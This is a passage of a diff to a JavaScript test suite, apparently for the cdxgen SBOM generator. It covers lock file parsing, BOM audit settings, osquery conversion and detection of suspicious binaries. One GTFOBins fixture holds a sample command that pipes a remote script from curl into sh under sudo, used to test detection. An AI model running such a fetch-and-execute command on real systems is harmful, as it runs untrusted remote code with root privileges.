+ lock-version = "1.0"
8780
+ created-by = "poku"
8781
+
8782
+ [[packages]]
8783
+ name = "demo-pkg"
8784
+ version = "1.0.0"
8785
+ index = "https://pypi.org/simple/"
8786
+ wheels = [
8787
+ { name = "demo_pkg-1.0.0-py3-none-any.whl", url = "https://example.com/packages/demo-pkg-1.0.0.whl", size = 1234, upload-time = 2026-01-01T00:00:00+00:00, hashes = { sha256 = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" } },
8788
+ ]
8789
+ `.trim(),
8790
+ "utf-8",
8791
+ );
8792
+ try {
8793
+ const retMap = await parsePyLockData(
8794
+ readFileSync(pyLockFile, { encoding: "utf-8" }),
8795
+ pyLockFile,
8796
+ pyProjectFile,
8797
+ );
8798
+ assert.strictEqual(retMap.rootList.length, 1);
8799
+ assert.strictEqual(retMap.rootList[0].name, "demo-pkg");
8800
+ assert.ok(
8801
+ retMap.rootList[0].properties.some(
8802
+ (property) =>
8803
+ property.name === "cdx:pypi:manifestSourceType" &&
8804
+ property.value === "url",
8805
+ ),
8806
+ );
8807
+ } finally {
8808
+ rmSync(tempDir, { recursive: true, force: true });
8809
+ }
8810
+ });
8811
+
7672
8812
  it("parse python lock files", async () => {
7673
8813
  let retMap = await parsePyLockData(
7674
8814
  readFileSync("./test/data/poetry.lock", { encoding: "utf-8" }),
@@ -7693,14 +8833,30 @@ it("parse python lock files", async () => {
7693
8833
  readFileSync("./test/data/pdm.lock", { encoding: "utf-8" }),
7694
8834
  "./test/data/pdm.lock",
7695
8835
  );
7696
- assert.deepStrictEqual(retMap.pkgList.length, 39);
7697
- assert.deepStrictEqual(retMap.dependenciesList.length, 37);
8836
+ assert.deepStrictEqual(retMap.pkgList.length, 39);
8837
+ assert.deepStrictEqual(retMap.dependenciesList.length, 37);
8838
+ const pdmBlinkerPkg = retMap.pkgList.find((p) => p.name === "blinker");
8839
+ assert.ok(
8840
+ pdmBlinkerPkg.externalReferences?.some(
8841
+ (reference) =>
8842
+ reference.type === "distribution" && reference.url.endsWith(".whl"),
8843
+ ),
8844
+ "Expected pdm.lock metadata files to populate distribution externalReferences",
8845
+ );
7698
8846
  retMap = await parsePyLockData(
7699
8847
  readFileSync("./test/data/uv.lock", { encoding: "utf-8" }),
7700
8848
  "./test/data/uv.lock",
7701
8849
  );
7702
8850
  assert.deepStrictEqual(retMap.pkgList.length, 63);
7703
8851
  assert.deepStrictEqual(retMap.dependenciesList.length, 63);
8852
+ const uvAnyioPkg = retMap.pkgList.find((p) => p.name === "anyio");
8853
+ assert.ok(
8854
+ uvAnyioPkg.externalReferences?.some(
8855
+ (reference) =>
8856
+ reference.type === "distribution" && reference.url.endsWith(".whl"),
8857
+ ),
8858
+ "Expected uv.lock packages to populate distribution externalReferences",
8859
+ );
7704
8860
  retMap = await parsePyLockData(
7705
8861
  readFileSync("./test/data/uv-workspace.lock", { encoding: "utf-8" }),
7706
8862
  "./test/data/uv-workspace.lock",
@@ -7727,6 +8883,13 @@ it("parse python lock files", async () => {
7727
8883
  attrsPkg.components?.length,
7728
8884
  "Expected pylock wheel entry to produce file component",
7729
8885
  );
8886
+ assert.ok(
8887
+ attrsPkg.externalReferences?.some(
8888
+ (reference) =>
8889
+ reference.type === "distribution" && reference.url.endsWith(".whl"),
8890
+ ),
8891
+ "Expected pylock package to retain distribution externalReferences",
8892
+ );
7730
8893
  const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
7731
8894
  assert.ok(
7732
8895
  cattrsPkg.properties.some(
@@ -8881,6 +10044,80 @@ it("parsePackageJsonName tests", () => {
8881
10044
  });
8882
10045
  });
8883
10046
 
10047
+ it("extractToolRefs collects unique bom-refs from metadata.tools", () => {
10048
+ assert.deepStrictEqual(
10049
+ extractToolRefs(
10050
+ {
10051
+ components: [
10052
+ { name: "trivy", "bom-ref": "pkg:generic/trivy@0.1.0" },
10053
+ { name: "trivy", "bom-ref": "pkg:generic/trivy@0.1.0" },
10054
+ { name: "cdxgen" },
10055
+ ],
10056
+ services: [{ name: "blint", "bom-ref": "urn:tool:blint" }],
10057
+ },
10058
+ (tool) => tool.name !== "cdxgen",
10059
+ ),
10060
+ ["pkg:generic/trivy@0.1.0", "urn:tool:blint"],
10061
+ );
10062
+ });
10063
+
10064
+ it("extractToolRefs derives and persists bom-refs for external tools", () => {
10065
+ const tools = {
10066
+ components: [
10067
+ {
10068
+ group: "aquasecurity",
10069
+ name: "trivy",
10070
+ version: "dev",
10071
+ },
10072
+ ],
10073
+ };
10074
+ assert.deepStrictEqual(extractToolRefs(tools), [
10075
+ "pkg:generic/aquasecurity/trivy@dev",
10076
+ ]);
10077
+ assert.strictEqual(
10078
+ tools.components[0]["bom-ref"],
10079
+ "pkg:generic/aquasecurity/trivy@dev",
10080
+ );
10081
+ });
10082
+
10083
+ it("attachIdentityTools adds tool references to object and array identities", () => {
10084
+ const subjects = [
10085
+ {
10086
+ evidence: {
10087
+ identity: {
10088
+ field: "purl",
10089
+ tools: ["pkg:generic/existing-tool@1.0.0"],
10090
+ },
10091
+ },
10092
+ },
10093
+ {
10094
+ evidence: {
10095
+ identity: [
10096
+ { field: "purl" },
10097
+ { field: "hash", tools: ["urn:tool:hash"] },
10098
+ ],
10099
+ },
10100
+ },
10101
+ ];
10102
+ attachIdentityTools(subjects, [
10103
+ "pkg:generic/existing-tool@1.0.0",
10104
+ "pkg:generic/trivy@0.1.0",
10105
+ ]);
10106
+ assert.deepStrictEqual(subjects[0].evidence.identity.tools, [
10107
+ "pkg:generic/existing-tool@1.0.0",
10108
+ "pkg:generic/trivy@0.1.0",
10109
+ ]);
10110
+ assert.deepStrictEqual(subjects[1].evidence.identity[0].tools, [
10111
+ "pkg:generic/existing-tool@1.0.0",
10112
+ "pkg:generic/trivy@0.1.0",
10113
+ ]);
10114
+ assert.deepStrictEqual(subjects[1].evidence.identity[1].tools, [
10115
+ "urn:tool:hash",
10116
+ "pkg:generic/existing-tool@1.0.0",
10117
+ "pkg:generic/trivy@0.1.0",
10118
+ ]);
10119
+ });
10120
+
8884
10121
  it("parseDot tests", () => {
8885
10122
  const retMap = parseCmakeDotFile("./test/data/tslite.dot", "conan");
8886
10123
  assert.deepStrictEqual(retMap.parentComponent, {
@@ -9055,6 +10292,20 @@ it("hasAnyProjectType tests", () => {
9055
10292
  }),
9056
10293
  true,
9057
10294
  );
10295
+ assert.deepStrictEqual(
10296
+ hasAnyProjectType(["oci"], {
10297
+ projectType: ["rootfs"],
10298
+ excludeType: undefined,
10299
+ }),
10300
+ true,
10301
+ );
10302
+ assert.deepStrictEqual(
10303
+ hasAnyProjectType(["docker"], {
10304
+ projectType: ["rootfs"],
10305
+ excludeType: undefined,
10306
+ }),
10307
+ true,
10308
+ );
9058
10309
 
9059
10310
  assert.deepStrictEqual(
9060
10311
  hasAnyProjectType(["js"], {
@@ -9236,6 +10487,85 @@ it("hasAnyProjectType tests", () => {
9236
10487
  );
9237
10488
  });
9238
10489
 
10490
+ it("shouldRunPredictiveBomAudit tests", () => {
10491
+ assert.strictEqual(shouldRunPredictiveBomAudit({}, "cdxgen"), true);
10492
+ assert.strictEqual(
10493
+ shouldRunPredictiveBomAudit({ projectType: ["os"] }, "cdxgen"),
10494
+ false,
10495
+ );
10496
+ assert.strictEqual(
10497
+ shouldRunPredictiveBomAudit({ projectType: ["linux"] }, "cdxgen"),
10498
+ false,
10499
+ );
10500
+ assert.strictEqual(
10501
+ shouldRunPredictiveBomAudit({ projectType: ["os", "darwin"] }, "cdxgen"),
10502
+ false,
10503
+ );
10504
+ assert.strictEqual(
10505
+ shouldRunPredictiveBomAudit({ projectType: ["os", "js"] }, "cdxgen"),
10506
+ true,
10507
+ );
10508
+ assert.strictEqual(
10509
+ shouldRunPredictiveBomAudit({ projectType: "os,linux" }, "cdxgen"),
10510
+ false,
10511
+ );
10512
+ assert.strictEqual(
10513
+ shouldRunPredictiveBomAudit({ projectType: ["hbom"] }, "cdxgen"),
10514
+ false,
10515
+ );
10516
+ assert.strictEqual(
10517
+ shouldRunPredictiveBomAudit({ projectType: ["hardware"] }, "cdxgen"),
10518
+ false,
10519
+ );
10520
+ assert.strictEqual(
10521
+ shouldRunPredictiveBomAudit({ projectType: ["js"] }, "obom"),
10522
+ false,
10523
+ );
10524
+ assert.strictEqual(
10525
+ shouldRunPredictiveBomAudit({ projectType: ["js"] }, "hbom"),
10526
+ false,
10527
+ );
10528
+ });
10529
+
10530
+ it("getDefaultBomAuditCategories tests", () => {
10531
+ assert.strictEqual(getDefaultBomAuditCategories({}, "cdxgen"), undefined);
10532
+ assert.strictEqual(
10533
+ getDefaultBomAuditCategories({ projectType: ["os"] }, "cdxgen"),
10534
+ "obom-runtime",
10535
+ );
10536
+ assert.strictEqual(
10537
+ getDefaultBomAuditCategories({ projectType: ["linux"] }, "cdxgen"),
10538
+ "obom-runtime",
10539
+ );
10540
+ assert.strictEqual(
10541
+ getDefaultBomAuditCategories({ projectType: ["os", "js"] }, "cdxgen"),
10542
+ undefined,
10543
+ );
10544
+ assert.strictEqual(
10545
+ getDefaultBomAuditCategories({ projectType: ["hbom"] }, "cdxgen"),
10546
+ "hbom-security,hbom-performance,hbom-compliance",
10547
+ );
10548
+ assert.strictEqual(
10549
+ getDefaultBomAuditCategories({ projectType: ["hardware"] }, "cdxgen"),
10550
+ "hbom-security,hbom-performance,hbom-compliance",
10551
+ );
10552
+ assert.strictEqual(
10553
+ getDefaultBomAuditCategories(
10554
+ { includeRuntime: true, projectType: ["hbom"] },
10555
+ "cdxgen",
10556
+ ),
10557
+ "hbom-security,hbom-performance,hbom-compliance,host-topology",
10558
+ );
10559
+ assert.strictEqual(
10560
+ getDefaultBomAuditCategories({ projectType: ["js"] }, "obom"),
10561
+ "obom-runtime",
10562
+ );
10563
+ assert.strictEqual(
10564
+ getDefaultBomAuditCategories({ projectType: ["js"] }, "hbom"),
10565
+ "hbom-security,hbom-performance,hbom-compliance",
10566
+ );
10567
+ });
10568
+
9239
10569
  it("isPackageManagerAllowed tests", () => {
9240
10570
  assert.deepStrictEqual(
9241
10571
  isPackageManagerAllowed("uv", ["pip", "poetry", "hatch", "pdm"], {
@@ -9798,6 +11128,152 @@ it("parses valid minified js with real package name (#2717)", async () => {
9798
11128
  });
9799
11129
 
9800
11130
  describe("convertOSQueryResults", () => {
11131
+ it("includes the osquery 5.23.0 query pack additions across platform profiles", () => {
11132
+ const linuxQueries = JSON.parse(
11133
+ readFileSync(
11134
+ new URL("../../data/queries.json", import.meta.url),
11135
+ "utf-8",
11136
+ ),
11137
+ );
11138
+ const darwinQueries = JSON.parse(
11139
+ readFileSync(
11140
+ new URL("../../data/queries-darwin.json", import.meta.url),
11141
+ "utf-8",
11142
+ ),
11143
+ );
11144
+ const windowsQueries = JSON.parse(
11145
+ readFileSync(
11146
+ new URL("../../data/queries-win.json", import.meta.url),
11147
+ "utf-8",
11148
+ ),
11149
+ );
11150
+
11151
+ assert.ok(linuxQueries.npm_packages);
11152
+ assert.ok(linuxQueries.secureboot_certificates);
11153
+ assert.ok(linuxQueries.apt_ppa_sources);
11154
+ assert.ok(linuxQueries.sysctl_hardening);
11155
+ assert.ok(linuxQueries.mount_hardening);
11156
+ assert.ok(linuxQueries.trusted_gpg_keys);
11157
+ assert.ok(darwinQueries.gatekeeper);
11158
+ assert.ok(darwinQueries.npm_packages);
11159
+ assert.match(
11160
+ darwinQueries.package_bom.query,
11161
+ /WHERE path IN \(SELECT REPLACE\(package_receipts\.path, '.plist', '.bom'\) FROM package_receipts JOIN file ON file\.path = REPLACE\(package_receipts\.path, '.plist', '.bom'\) WHERE package_receipts\.path LIKE '%.plist' AND file\.size <= 52428800\)/i,
11162
+ );
11163
+ assert.match(linuxQueries.trusted_gpg_keys.query, /file\.directory/);
11164
+ assert.match(linuxQueries.trusted_gpg_keys.query, /hash\.sha256/);
11165
+ assert.ok(windowsQueries.process_open_handles_snapshot);
11166
+ });
11167
+
11168
+ it("should model trusted linux repository keys as cryptographic assets", () => {
11169
+ const components = convertOSQueryResults(
11170
+ "trusted_gpg_keys",
11171
+ {
11172
+ purlType: "generic",
11173
+ componentType: "cryptographic-asset",
11174
+ },
11175
+ [
11176
+ {
11177
+ name: "debian-archive-keyring.gpg",
11178
+ version: "c".repeat(64),
11179
+ description: "/usr/share/keyrings/debian-archive-keyring.gpg",
11180
+ path: "/usr/share/keyrings/debian-archive-keyring.gpg",
11181
+ sha1: "b".repeat(40),
11182
+ sha256: "c".repeat(64),
11183
+ trust_domain: "apt",
11184
+ },
11185
+ ],
11186
+ false,
11187
+ );
11188
+ assert.strictEqual(components.length, 1);
11189
+ assert.strictEqual(components[0].type, "cryptographic-asset");
11190
+ assert.strictEqual(components[0].purl, undefined);
11191
+ assert.ok(
11192
+ components[0]["bom-ref"].startsWith(
11193
+ "crypto/related-crypto-material/public-key/",
11194
+ ),
11195
+ );
11196
+ assert.strictEqual(
11197
+ components[0].cryptoProperties?.assetType,
11198
+ "related-crypto-material",
11199
+ );
11200
+ assert.strictEqual(
11201
+ components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
11202
+ "public-key",
11203
+ );
11204
+ assert.ok(
11205
+ components[0].hashes.some(
11206
+ (hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
11207
+ ),
11208
+ );
11209
+ });
11210
+
11211
+ it("should preserve the full certificate crypto properties shape", () => {
11212
+ const components = convertOSQueryResults(
11213
+ "certificates",
11214
+ {
11215
+ purlType: "generic",
11216
+ componentType: "cryptographic-asset",
11217
+ },
11218
+ [
11219
+ {
11220
+ name: "ACCVRAIZ1",
11221
+ path: "/etc/ssl/certs/ACCVRAIZ1.crt",
11222
+ serial: "5EC3B7A6437FA4E0",
11223
+ subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11224
+ issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11225
+ not_valid_before: "2011-05-05T09:37:37.000Z",
11226
+ not_valid_after: "2030-12-31T09:37:37.000Z",
11227
+ sha1: "1".repeat(40),
11228
+ },
11229
+ ],
11230
+ false,
11231
+ );
11232
+ assert.strictEqual(components.length, 1);
11233
+ assert.strictEqual(components[0].type, "cryptographic-asset");
11234
+ assert.strictEqual(
11235
+ components[0].cryptoProperties?.assetType,
11236
+ "certificate",
11237
+ );
11238
+ assert.deepStrictEqual(
11239
+ components[0].cryptoProperties?.certificateProperties,
11240
+ {
11241
+ serialNumber: "5EC3B7A6437FA4E0",
11242
+ subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11243
+ issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
11244
+ notValidBefore: "2011-05-05T09:37:37.000Z",
11245
+ notValidAfter: "2030-12-31T09:37:37.000Z",
11246
+ certificateFormat: "X.509",
11247
+ certificateFileExtension: "crt",
11248
+ fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
11249
+ },
11250
+ );
11251
+ });
11252
+
11253
+ it("should ignore empty occurrence locations when adding import evidence", async () => {
11254
+ const pkgList = [{ name: "lodash" }];
11255
+ const allImports = {
11256
+ lodash: [
11257
+ {
11258
+ fileName: " ",
11259
+ importedAs: "lodash",
11260
+ importedModules: ["map"],
11261
+ },
11262
+ ],
11263
+ };
11264
+
11265
+ await addEvidenceForImports(pkgList, allImports, {}, false);
11266
+
11267
+ assert.strictEqual(pkgList[0].scope, "required");
11268
+ assert.strictEqual(pkgList[0].evidence, undefined);
11269
+ assert.deepStrictEqual(pkgList[0].properties, [
11270
+ {
11271
+ name: "ImportedModules",
11272
+ value: "lodash,lodash/map",
11273
+ },
11274
+ ]);
11275
+ });
11276
+
9801
11277
  it("should use identifier as package name for chrome-extension purl type", () => {
9802
11278
  const components = convertOSQueryResults(
9803
11279
  "chrome_extensions",
@@ -9826,6 +11302,32 @@ describe("convertOSQueryResults", () => {
9826
11302
  assert.ok(propNames.includes("identifier"));
9827
11303
  });
9828
11304
 
11305
+ it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
11306
+ const components = convertOSQueryResults(
11307
+ "authorized_keys_snapshot",
11308
+ {
11309
+ purlType: "swid",
11310
+ componentType: "data",
11311
+ },
11312
+ [
11313
+ {
11314
+ name: "root",
11315
+ version: "ssh-ed25519",
11316
+ description: "ops@example.invalid",
11317
+ key_file: "/root/.ssh/authorized_keys",
11318
+ uid: "0",
11319
+ },
11320
+ ],
11321
+ false,
11322
+ );
11323
+ assert.strictEqual(components.length, 1);
11324
+ assert.strictEqual(components[0].purl, undefined);
11325
+ assert.strictEqual(
11326
+ components[0]["bom-ref"],
11327
+ "osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
11328
+ );
11329
+ });
11330
+
9829
11331
  it("should add LOLBAS properties to suspicious windows osquery rows", () => {
9830
11332
  const components = convertOSQueryResults(
9831
11333
  "windows_run_keys",
@@ -9843,6 +11345,11 @@ describe("convertOSQueryResults", () => {
9843
11345
  false,
9844
11346
  );
9845
11347
  assert.strictEqual(components.length, 1);
11348
+ assert.strictEqual(components[0].purl, undefined);
11349
+ assert.strictEqual(
11350
+ components[0]["bom-ref"],
11351
+ "osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
11352
+ );
9846
11353
  const propertyMap = Object.fromEntries(
9847
11354
  components[0].properties.map((property) => [
9848
11355
  property.name,
@@ -9855,4 +11362,221 @@ describe("convertOSQueryResults", () => {
9855
11362
  assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
9856
11363
  assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
9857
11364
  });
11365
+
11366
+ it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
11367
+ if (platform() !== "linux") {
11368
+ return;
11369
+ }
11370
+ const components = convertOSQueryResults(
11371
+ "sudo_executions",
11372
+ {
11373
+ purlType: "swid",
11374
+ componentType: "application",
11375
+ },
11376
+ [
11377
+ {
11378
+ name: "bash",
11379
+ path: "/usr/bin/bash",
11380
+ cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
11381
+ parent_cmdline: "sudo bash -c payload",
11382
+ },
11383
+ ],
11384
+ false,
11385
+ );
11386
+ assert.strictEqual(components.length, 1);
11387
+ assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
11388
+ const propertyMap = Object.fromEntries(
11389
+ components[0].properties.map((property) => [
11390
+ property.name,
11391
+ property.value,
11392
+ ]),
11393
+ );
11394
+ assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
11395
+ assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
11396
+ assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
11397
+ assert.ok(
11398
+ propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
11399
+ );
11400
+ });
11401
+
11402
+ it("collectExecutables() prefers usr-merged executable paths", () => {
11403
+ if (process.platform === "win32") {
11404
+ return;
11405
+ }
11406
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
11407
+ try {
11408
+ mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
11409
+ mkdirSync(path.join(tempDir, "usr", "sbin"), { recursive: true });
11410
+ writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
11411
+ writeFileSync(
11412
+ path.join(tempDir, "usr", "sbin", "zramctl"),
11413
+ "#!/bin/sh\n",
11414
+ );
11415
+ chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
11416
+ chmodSync(path.join(tempDir, "usr", "sbin", "zramctl"), 0o755);
11417
+ symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
11418
+ symlinkSync(
11419
+ path.join(tempDir, "usr", "sbin"),
11420
+ path.join(tempDir, "sbin"),
11421
+ );
11422
+
11423
+ const result = collectExecutables(tempDir, [
11424
+ "/bin",
11425
+ "/usr/bin",
11426
+ "/sbin",
11427
+ "/usr/sbin",
11428
+ ]);
11429
+
11430
+ assert.deepStrictEqual(result, ["usr/bin/which", "usr/sbin/zramctl"]);
11431
+ } finally {
11432
+ rmSync(tempDir, { recursive: true, force: true });
11433
+ }
11434
+ });
11435
+
11436
+ it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
11437
+ if (process.platform === "win32") {
11438
+ return;
11439
+ }
11440
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
11441
+ setDryRunMode(true);
11442
+ resetRecordedActivities();
11443
+ try {
11444
+ mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
11445
+ writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
11446
+ chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
11447
+ symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
11448
+
11449
+ const result = collectExecutables(tempDir, ["/bin"]);
11450
+
11451
+ assert.deepStrictEqual(result, ["usr/bin/which"]);
11452
+ const symlinkActivities = getRecordedActivities().filter(
11453
+ (activity) => activity.kind === "symlink-resolution",
11454
+ );
11455
+ for (const symlinkActivity of symlinkActivities) {
11456
+ assert.strictEqual(symlinkActivity.traceDetail, undefined);
11457
+ }
11458
+ } finally {
11459
+ setDryRunMode(false);
11460
+ resetRecordedActivities();
11461
+ rmSync(tempDir, { recursive: true, force: true });
11462
+ }
11463
+ });
11464
+
11465
+ it("collectExecutables() skips files already owned by OS packages", () => {
11466
+ if (process.platform === "win32") {
11467
+ return;
11468
+ }
11469
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
11470
+ try {
11471
+ mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
11472
+ writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
11473
+ writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
11474
+ chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
11475
+ chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
11476
+
11477
+ const result = collectExecutables(
11478
+ tempDir,
11479
+ ["/usr/bin"],
11480
+ ["/usr/bin/owned"],
11481
+ );
11482
+
11483
+ assert.deepStrictEqual(result, ["usr/bin/unowned"]);
11484
+ } finally {
11485
+ rmSync(tempDir, { recursive: true, force: true });
11486
+ }
11487
+ });
11488
+
11489
+ it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
11490
+ if (process.platform === "win32") {
11491
+ return;
11492
+ }
11493
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
11494
+ try {
11495
+ mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
11496
+ writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
11497
+ symlinkSync(
11498
+ path.join(tempDir, "usr", "lib", "libfoo.so.1"),
11499
+ path.join(tempDir, "usr", "lib", "libfoo.so"),
11500
+ );
11501
+
11502
+ const result = collectSharedLibs(tempDir, ["/usr/lib"]);
11503
+
11504
+ assert.deepStrictEqual(result, [
11505
+ "usr/lib/libfoo.so",
11506
+ "usr/lib/libfoo.so.1",
11507
+ ]);
11508
+ } finally {
11509
+ rmSync(tempDir, { recursive: true, force: true });
11510
+ }
11511
+ });
11512
+
11513
+ it("collectSharedLibs() skips libraries already owned by OS packages", () => {
11514
+ if (process.platform === "win32") {
11515
+ return;
11516
+ }
11517
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
11518
+ try {
11519
+ mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
11520
+ writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
11521
+ writeFileSync(
11522
+ path.join(tempDir, "usr", "lib", "libunowned.so.1"),
11523
+ "unowned",
11524
+ );
11525
+
11526
+ const result = collectSharedLibs(
11527
+ tempDir,
11528
+ ["/usr/lib"],
11529
+ undefined,
11530
+ undefined,
11531
+ ["/usr/lib/libowned.so.1"],
11532
+ );
11533
+
11534
+ assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
11535
+ } finally {
11536
+ rmSync(tempDir, { recursive: true, force: true });
11537
+ }
11538
+ });
11539
+
11540
+ it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
11541
+ setDryRunMode(true);
11542
+ resetRecordedActivities();
11543
+ try {
11544
+ const activity = recordSymlinkResolution(
11545
+ "usr\\bin\\which",
11546
+ "usr/bin/which",
11547
+ );
11548
+ assert.strictEqual(activity, undefined);
11549
+ assert.deepStrictEqual(getRecordedActivities(), []);
11550
+ } finally {
11551
+ setDryRunMode(false);
11552
+ resetRecordedActivities();
11553
+ }
11554
+ });
11555
+
11556
+ it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
11557
+ setDryRunMode(true);
11558
+ resetRecordedActivities();
11559
+ try {
11560
+ recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
11561
+ basePath: "/tmp/root",
11562
+ errorCode: "ENOENT",
11563
+ metadata: {
11564
+ resolutionKind: "shared-library",
11565
+ },
11566
+ status: "failed",
11567
+ });
11568
+ const symlinkActivity = getRecordedActivities().find(
11569
+ (activity) => activity.kind === "symlink-resolution",
11570
+ );
11571
+ assert.ok(symlinkActivity);
11572
+ assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
11573
+ assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
11574
+ assert.strictEqual(symlinkActivity.traceDetail, undefined);
11575
+ assert.strictEqual(symlinkActivity.resolvedPath, undefined);
11576
+ assert.strictEqual(symlinkActivity.status, "failed");
11577
+ } finally {
11578
+ setDryRunMode(false);
11579
+ resetRecordedActivities();
11580
+ }
11581
+ });
9858
11582
  });